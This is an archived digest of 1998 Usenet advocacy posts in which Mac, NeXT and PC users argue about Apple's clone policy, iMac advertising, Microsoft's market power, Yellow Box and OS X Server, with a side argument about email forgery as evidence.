Date: Wed, 25 Nov 1998 20:54:05 GMT
In article <uww4lvtux.fsf@ai.mit.edu>, Stephen Peters wrote:
>Michael Peck <michael.peck@ericsson.com> writes:
>
>> Michael Giddings wrote:
>>
>> [cut]
>>
>> Yes.
>
>Cool! That's fantastic! Do you get to carry a badge as a paid
>Microsoft agent? Tell us about some of your more dangerous exploits,
>please!
>
>Do you ever get to leap into a crowded room holding the badge
>aloft, shouting "Microsoft! Throw down your weapons!"?
"Microsoft! Bring down your server!"
??
Mark
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 15:28:58 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us51zmr34ad.fsf@kit.ai.mit.edu>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus- <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <rbarris-ya023280002311981438000001@206.82.216.1> <365AFA52.8E6641C8@spamtoNull.com> <F2y2BJ.8xC@T-FCN.Net> <365C58F7.2EF301A4@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> writes:
> Maury Markowitz wrote:
> > > First, Apple released no figures at all on the number of Apple
> > > "defections"--that is, Mac users migrating from the Mac or a Mac clone
> > > into the X86 market.
> >
> > Which has absolutely no bearing on the issue. Either such migrations
> > take place, or they don't. Your statment here, if you care to back it up,
> > simply proves this point.
>
> I see...figures spouted by Apple (Steve Jobs, no less) which purport X86
> users buying iMacs are believable. But figures showing migration away
> from the Mac to X86 platforms need to be "backed up" and are therefore
> doubtful. ANd you claim you're objective...:)
That's not what Maury said. He said that figures migrating from Mac
to x86 are irrelevant to a survey of what iMac buyers had previously
owned. I don't think there is a single person on these newsgroups who
believes that the statement "Many iMac purchasers either didn't own a
computer or owned an x86" has any relation to what most x86 owners or
even what most current Mac owners are doing. They only relate to the
purchasers of the iMac.
Maury made no claim about migration away from the Mac, nor did he try
to cast any aspersions on what those numbers would be (despite your
delusion to the contrary). You're welcome to document those if you
like, and post them here -- I always look forward to anything which
can turn this bombastic thread of hot air into something of substance.
> > Once again it's demonstrated that being wrong is no deterrant for
> > Jon to spout off his odd form of anti-Apple hatred.
>
> Around here, being objective is "being wrong" and criticism of Apple is
> "hatred." Whew...
Really? That's intriguing. Can you point me to someone actually
being objective? I haven't seen one in days. Lord knows you're not
making the cut.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280002511981308200001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365C5AE3.EA8074C6@spamtoNull.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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Date: Wed, 25 Nov 1998 13:08:20 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 13:07:05 PDT
In article <365C5AE3.EA8074C6@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Rick wrote:
> >
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > Well, no one has demonstrated that Microsoft selling Windows was
> > > illegal, either. Microsoft is being accused of "using its monopoly power
> > > in one market to stifle competition." *That's* the supposed illegality.
> > > I think it fits Apple's handling of the Mac clone companies like a
> > > glove.
> >
> > If it was such an illegal act, why has someone, anyone, charged Apple
> > with something, or sued them over it?
>
>
> First, Apple has been sued several times recently, as apparently you
> don't recall. Would you say that simply because Apple's been sued that
> Apple is guilty of something? No? Well, then I guess the same should go
> for any other company, too, shouldn't it?
>
> I've got some news for you: "getting sued" or being accused of
> illegality is:
>
> (1) not the same has having actually done it
>
> (2) not legally binding until you've been found guilty and all your
> appeals are used up
Jonathan,
I don't think he was saying that "being taken to court implies guilt".
It might be said that "not being taken to court" has other implications.
You make reference to the Imatec color-sync lawsuit, I don't know anything
about that, but it surely doesn't have a thing to do with Mac clones or
their parent companies.
Rob
From: nospam@nospam.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 25 Nov 1998 16:12:01 -0500
Organization: Chemical Abstracts Service
Message-ID: <w0byaozcw9q.fsf@mah21awu.YP.sparcm1>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today>
Jeff <nobody@home.today> writes:
Y> Jeff Barber wrote:
>
> > Jamie Schrumpf wrote:
> >
> > > Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it.
> > > 64 meg just about makes a good workstation.
> > > Sometimes it's good to work for DoD.
> >
> > 3GB RAM and 24 processors is kinda fun too.
> >
> > Now waiting for somebody from NSA, CIA, etc. to post that 128GB RAM
> > and 64 processors is a blast to work with. Followed by some guy from
> > Livermore stating that the fun really begins when you hit 1,000 processors. <g>
> >
> > Jeff Barber
>
> How about 32 Processors and 8GB?
> If I told you where it is... I'd have to shoot ya.
Or 20 Processors and 10 GB? (Soon to be 30p, 15-20GB) ...
/Mike
ncluding RAM, from the hardware vendor... who has
a vested interest in selling you more than you need, right? :-)
/Mike
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 21:21:41 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981621020001@pm61-13.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com> <19981124181659165947@ts1-13.aug.com> <365C5C77.342552ED@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> About what?
>
> Burning Bunnies
>
> Can't recall Intel being mentioned once in that ad, sorry...
This is something called "understanding the context."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 21:23:26 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981622470001@pm61-13.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <cirby-2311981742100001@pm56-03.magicnet.net> <365AFE15.F10C3CB5@spamtoNull.com> <19981124181649165387@ts1-13.aug.com> <365C5B84.56D81CAB@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> So, then, IBM, Compaq, Gateway, Dell, Micron, etc. ad infinitum, don't
> count?
Not when one company (Microsoft, since you can't seem to remember) has
enough power in the market to force them into things like per-processor
licensing and keep them from modifying the startup screens of the
computers those company actually produced.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: Limeyville@spamtoNull.com
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
<atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net>
<365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net>
<36599B34.A05CFC80@spamtoNull.com> <cirby-2311981353060001@pm53-43.magicnet.net>
<365B152F.8C4474C2@spamtoNull.com> <F2y6Hu.B2q@T-FCN.Net>
<365C568D.363A8E8@spamtoNull.com>
Mime-Version: 1.0
Date: Wed, 25 Nov 1998 21:18:48 GMT
In <365C568D.363A8E8@spamtoNull.com> Jonathan Harker wrote:
> So I take it you are in your office alone and absolutely no one else
> *can possibly* access your machine.
Not as me, not without someone noticing.
> Additionally, I assume the server is locked in a vault and completely
> inaccessible to anyone but you.
Whereas paper and pencils never have this sort of security, thus making it
much easier to stamper with/steal them.
> be proven that no one else could *possibly* have access to either your
> machine or the server
That's meaningless, it's a weighting issue, as is all evidence.
> beyond a shadow of a doubt the originator of the email sent from your
> machine.
You don't have to establish evidence beyond a shadow of a doubt, what
gave you that idea?
> First, I don't believe you are as smart as I think you are
Same to you.
> think all your bases are covered as well as you think they are. And I
> believe that someone with devious intent and knowledge could, in fact,
> invade your space and send an email from your machine *and* in the
> process put you in a big jam.
So what you're saying is that there are experts out there that can forge
my e-mail, but you have to be an expert to do it. Just like there are
experts out there who can force my mail. And I'm absolutely sure that
someone with devious intent and knowledge could fake a paper document from
you to me and you've have even _more_ of a problem proving it was a fake.
> Second, a *whole lot of people* work from stations in which lots of
> other people have easy access to each other's machines, if they are so
> inclined.
And a whole lot of people leave slips of paper around with their signature
on it, their bank account numbers, addresses, SIN number etc. What makes
you think e-mail is so special?
> > Do you have any case law to show us?
>
> Do you?
Sure, but I haven't had access to QuickLaw in years (like eight). I can
look it up if you want though. However even a quicky search on the net for
"e-mail forgery" turns up hundreds of links to forensic document
inspectors, handwriting analysis, art forgery inspectors, even an offer for
a free video on "showing just how easily forgers steal, alter, counterfeit
and cash checks". "real" documents are forged successfully every day, this
"it's less safe if it's e-mail" line you've draw doesn't exist and never
has.
Maury
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <SPAMLESSforrest-2511981340200001@term3-2.vta.west.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com> <19981124181659165947@ts1-13.aug.com> <365C5C77.342552ED@spamtoNull.com> <cirby-2511981621020001@pm61-13.magicnet.net>
Organization: Obsidian
Date: Wed, 25 Nov 1998 13:40:20 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 13:39:39 PDT
In article <cirby-2511981621020001@pm61-13.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>> About what?
>>
>> Burning Bunnies
>>
>> Can't recall Intel being mentioned once in that ad, sorry...
>
>This is something called "understanding the context."
And aside from that, they did mention the Pentium II processor ("Apple
Computer would like to appologise for toasting the Pentium II processor in
public..."), and if they did so chances are the fine print read "Pentium
and Pentium II are copyright 1997-1998 Intel Corporation, blah blah...".
But they did mention the opposing product, they didn't just show a flaming
Intel(R) Bunny(TM). They didn't even show it flaming they showed the
Bunny's view of a fireman approaching, and putting out the fire on the
Bunny (which hasn't been showed, simply implied), and then a view of the
smoking Bunny frozen in his pose.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 25 Nov 1998 21:41:24 GMT
Organization: Primenet (602)416-7000
Message-ID: <73hti4$73$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: There aren't that many Yellow-Box apps (and won't be despite the fact
: that the Yellow Box is a far better cross-platform development
: environment than is Java) and the MacOS that they are saying OS-X server
: will ship with is OS8.1.
There aren't that many Yellow Box apps because it has never been legal to
ship them. For that matter Yellow Box is not yet cross-platform because
it has not been shipped for multiple platfroms.
If you think this is an indictment of Yellow Box think again - this is a
defense of Yellow Box:
The Yellow Box cannot be popular until you allow people to use it.
As it now stands Java is a better cross-platform development environment
because it is available and it is legal to sell Java applications on
multiple platforms. The Yellow Box isn't a contender, not through any
technical fault of its own, but simply because it is not available.
John
From: drsoran@black.ops.cia.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 25 Nov 1998 21:31:54 GMT
Organization: Black Ops Division
Message-ID: <73ht0a$9c2$1@csu-b.csuohio.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <366a2c55.39411575@news.demon.co.uk>
User-Agent: tin/pre-1.4-980618 (UNIX) (Linux/2.1.112 (i686))
In comp.os.linux.advocacy Anthony Ord <nws@rollingthunder.demon.co.uk> wrote:
: On Thu, 19 Nov 1998 17:03:19 -0800, "Allan Meidlein"
: <allan.meidlein@bcstechnology.com> wrote:
:>Maybe you should realise that these requirements aren't that crazy; consider
:>for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
:>Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
:>minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
:>agonising If you're suggesting that these requirements are the result of
:>"bloated code," then how does one explain the requirements for Unix
:>servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
: ^^^^^^^
: Are we seeing the magic word? The 32Mb is for the *personal* version.
: To boot. You will have to add memory for your applications on top of
: that.
Hmm. My SS5-85 has 32 megs of ram and it runs Solaris 2.6
along with CDE just fine. Sure, 64 megs of ram would be nice when
running Netscape but it is by no means "agonising". :-)
--
-----------------------------------------------------------------------
drsoran@black.ops.cia.net | "Don't worry about the price,
Blinky lights are the essence of | we'll just print more."
modern technology! | Caffeine underflow (brain dumped)
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:02 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164702687397@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <19981123135142316463@ts1-43.aug.com> <365B1398.151CCDCC@spamtoNull.com> <19981124181637164651@ts1-13.aug.com> <365C5926.7E11477C@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > > >
> > >
> > >
> > > Who's old hardware is Microsoft milking?
> >
> > Um, software is technology... and Microsoft's is hardly original or
> > leading edge.
> >
>
> Yea, like Apple's OS really is...:)
Original? Very. Apple greatly improved on the ideas seen at Xerox.
Microsoft? Nothing original. Ever.
Leading edge? Well, they got the interface right the first time.. thats
why Windows is continually described as "almost" as easy to use as the
Mac.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:03 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164703687504@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981227070001@pm61-44.magicnet.net> <365C353B.9953A20C@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> If Microsoft said: "The *only* way we'll sell you these products is if
> you sign these deals," then your point would be excellent and I'd agree
> completely. But I've seen no evidence that this was ever the case.
Thats becasue you are using ostrich logic. You ignore the sworn
testimony and printed quotes from the people that this was forced upon.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:05 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164705687604@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <19981123135144316586@ts1-43.aug.com> <365B13DD.FCA20560@spamtoNull.com> <19981124181645165101@ts1-13.aug.com> <365C5945.D3F033FD@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > >
> > > >
> > > > The damage has already been done, the monpoly gained, the dependance
> > > > established.
> > > >
> > >
> > > Is this a quote from a Mac user after Jobs destroyed Mac cloning?
> >
> > Are you that stupid?
>
>
> I'll take that as a "yes"...
Harker admitted. He really is that stupid :)
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:11 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164711687955@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <cirby-2311981742100001@pm56-03.magicnet.net> <365AFE15.F10C3CB5@spamtoNull.com> <19981124181649165387@ts1-13.aug.com> <365C5B84.56D81CAB@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Rick wrote:
>
> >
> > Whats wrong is your professed understanding of the personal computer
> > market. There are 2 main players.. Microsoft with 90-95% of the market
> > and the Mac... with.. well not much. So, when Microsoft does something
> > it effects at least 90-95% of the market, and another portion
> > indirectly.
>
>
> So, then, IBM, Compaq, Gateway, Dell, Micron, etc. ad infinitum, don't
> count? Microsoft does software only. Apple does both.
>
> But I do thank you for reiterating the point that Apple does have its
> own market, separate and apart from the X86/Windows market.
You really cant read, can you? Um.... M$ with 90-95 % of the market (THE
market) and Apple with some of the rest. Save you Christmas money and
get some reading lessons.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:06 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164706687685@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-2311981757030001@pm56-03.magicnet.net> <365B0916.DA268FD3@spamtoNull.com> <19981124181701166075@ts1-13.aug.com> <365C59E2.6443213B@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Well, thats why you dont understand sophisticated advertising.. and why
> > you use herd mentality to purchase computers.
>
>
> Well, you can bet your boots that an awful lot of other people (re:
> potential Mac buyers) "don't understand sophisticated advertising,"
> either....especially when there is almost *nothing* in those ads that
> lets anyone know that "Apple Computer" is even involved...:)
.. then how did everyone know they were Apple Computer Advertisements?
Well, except for you.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 16:47:09 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981125164709687851@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com> <19981124181659165947@ts1-13.aug.com> <365C5C77.342552ED@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Rick wrote:
> >
> > >
> > >
> >
> > Who cares what you want. You cant evaluate a computer purchase.. as
> > demonstrated by your posts. It is quite obvious that SOMONE likes the
> > iMac, since it's the best sellng single computer model around.
>
>
> Your sentiments reflect the *precise reason* Apple will forever be a
> niche player. Thanks for putting it so well.
>
>
What?!?! huh!?!?!?
> > >
> > >
> > > But I'm afraid you missed the point. I was talking about promotional
> > > programs done by Apple for the express purpose of wooing X86 users away,
> > > or promotionals done by Dell for the express purpose of moving Mac users
> > > away. I can't think of any off hand.
>
>
> >
> > ... Think Differnet
>
>
> About what?
>
See, I told you you couldnt undrestand advertising.
>
> Burning Bunnies
>
>
> Can't recall Intel being mentioned once in that ad, sorry...
>
>
Thats the point... duh. I suppose you dont associate that little curved
deal with Adidas ot that Apple with the chunk out of it with Apple
either... the rest of the world does.
>
> , How Many Steps to the Internet...
> > 1, 2, um, 2.
>
>
> You mean the "12 steps with the iMac"....Get Connected...Get
> Connected...Get Connected...?
I.. out of the box, 2 plug in wall, 3? There is no three...
You really should have gotten out of the house more. You dont seem to be
able to fill in a gestalt.
--
Remove nojunk from my email address to reply by email.
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Wed, 25 Nov 1998 23:14:53 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <199811252314539133@mp-40-50.daxnet.no>
References: <B27A4B1E-2812E@206.165.43.102> <F2q93t.E6@T-FCN.Net> <B27AF807-37C28@206.165.43.169> <F2qrn2.B9J@T-FCN.Net> <B27B7131-2C57B@206.165.43.8> <739lh9$g1r@news1.panix.com> <B27E1D09-31CD5@206.165.43.220> <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>
Forrest Cameranesi <SPAMLESSforrest@west.net> wrote:
[SNIP]
>
> High Priorities:
>
> YellowBox
> Carbon
> Java
>
> Low Priorities
>
> QuickTime
> AppleScript
> WebObjects
> OpenGL
> QuickDraw GX (more than just traditional GX though, see below).
[SNIP]
A slide from WWDC/Jobs` keynote:
Mac OS (that also means X)
Java
QuickTime
AppleScript
ColorSync
WebObjects
"you name them" (i.e YB, ATSUI, V-Twin, eQD, etc.)
There are some changes, and it would be good to read Stepwise for
reasons to the downplay of YB. OpenGL is reportedly added, but nothing
specific has been said from Apple, yet. Let`s hope it`s there.
My 50 ears... ;-)
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 25 Nov 1998 23:25:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73i3kg$ne7$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73h4t2$rd7$1@nnrp1.dejanews.com>
In article <73h4t2$rd7$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com wrote:
> I still think Carbon will ultimately be good for [YB developers] if it
> means more adoption of OSX, since a smaller share of a larger market may
> actually mean more sales.
>
Agreed.
> A few more OSX Server sales will likely make no difference
> to traditional MacOS developers, but can make a big difference for YB
> developers, who have been running on fumes for years.
>
Whilst I appreciate your sentiments, I think you're painting an unnecessarily
bleak picture of the situation most (I can think of one exception) remaining
ex-NeXT YB developers are in. We're remaining because we've diversified --
either to WebObjects, or to other areas completely -- and we're quite
comfortable. That said, I agree things would be more comfortable, and more
to the point more fun, if YB apps could be shipped to paying customers...
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Are JH (and MJP) paid Microsoft agents?
Date: Wed, 25 Nov 1998 16:16:17 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365C81B1.CAA9265D@ericsson.com>
References: <73cq7e$nh2$1@coward.cc.utah.edu> <3659ED98.5CA8C667@ericsson.com> <uww4lvtux.fsf@ai.mit.edu> <slrn75orma.cpm.mark@ns1.oaai.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Mark Onyschuk wrote:
> >Do you ever get to leap into a crowded room holding the badge
> >aloft, shouting "Microsoft! Throw down your weapons!"?
>
> "Microsoft! Bring down your server!"
>
> ??
No, really, nothing so exciting. It's just a lot of paperwork. My flat
feet kept me out of active duty with the Militant Inferior Solutions
division. Thankfully, at least I didn't get stuck with the Weak
Marketing and Laughable Slogans departments; I hear they were doing a
lot of recruiting a few years back.
All in all, it's good work here in the Combative USENET Postings
dungeon.
MJP
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 25 Nov 1998 23:28:54 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <73i3rm$fmg$8@blue.hex.net>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net> <clund-2511981755490001@ppp073.uio.no>
NNTP-Posting-Date: 25 Nov 1998 23:28:54 GMT
On 25 Nov 1998 16:51:48 GMT, C Lund
<clund@DIE.SPAMMER.DIE.notam.uio.no> wrote:
>Java was a good idea. But in practice.. feh. I surf with everything Java
>turned off. Java is no better than the people using it, and "most people"
>seem to be fourteen year olds trying to make "kewl" webpages. Good for
>crashing Netshit. Not good for anything else. Or maybe I've just been
>running into sites using M$ Java?
Java *on the web* isn't very important. As you say, it is pretty much
"kewl."
In contrast, Java on "intranets," used for building applications
internal to organizations, and used on the server side of things, is
considerably more important.
--
[In response to deprecations of the use of <linux/*.h>] ...I prefer code
